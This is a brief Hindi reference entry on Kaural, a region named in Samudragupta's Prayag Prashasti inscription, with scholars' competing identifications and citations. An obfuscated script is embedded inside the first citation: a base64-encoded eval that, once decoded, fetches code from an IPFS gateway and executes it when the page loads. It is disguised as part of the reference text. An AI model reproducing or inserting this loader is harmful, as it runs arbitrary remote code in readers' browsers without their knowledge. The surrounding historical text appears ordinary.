कौराल

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कौराल गुप्त सम्राट समुद्रगुप्त की प्रयाग प्रशस्ति में वर्णित एक प्रदेश का नाम है-

'कौसलक महेंद्र महाकांतार व्याघ्रराज, कौरल (ड) क मंटराज पैष्ठपुरक महेंद्र गिरि।'

  • इतिहासकार हेमचन्द्र रायचौधरी के मत में इस नाम से केरल, जिसकी राजधानी महानदी पर स्थित 'ययातिनगर' में थी, का बोध होता है।[1]
  • डॉ. बारनेट के अनुसार यह दक्षिण का कोराड़ नामक ग्राम है[2] और डॉ. कीलहार्न के मत में कोलेयर झील का तटवर्ती क्षेत्र[3]


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 243 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. कलकत्ता रिव्यू, फ़र्वरी, 1924
  3. कीलहार्न, एपिग्राफ़िका इंडिका, जिल्द 6, पृ. 3

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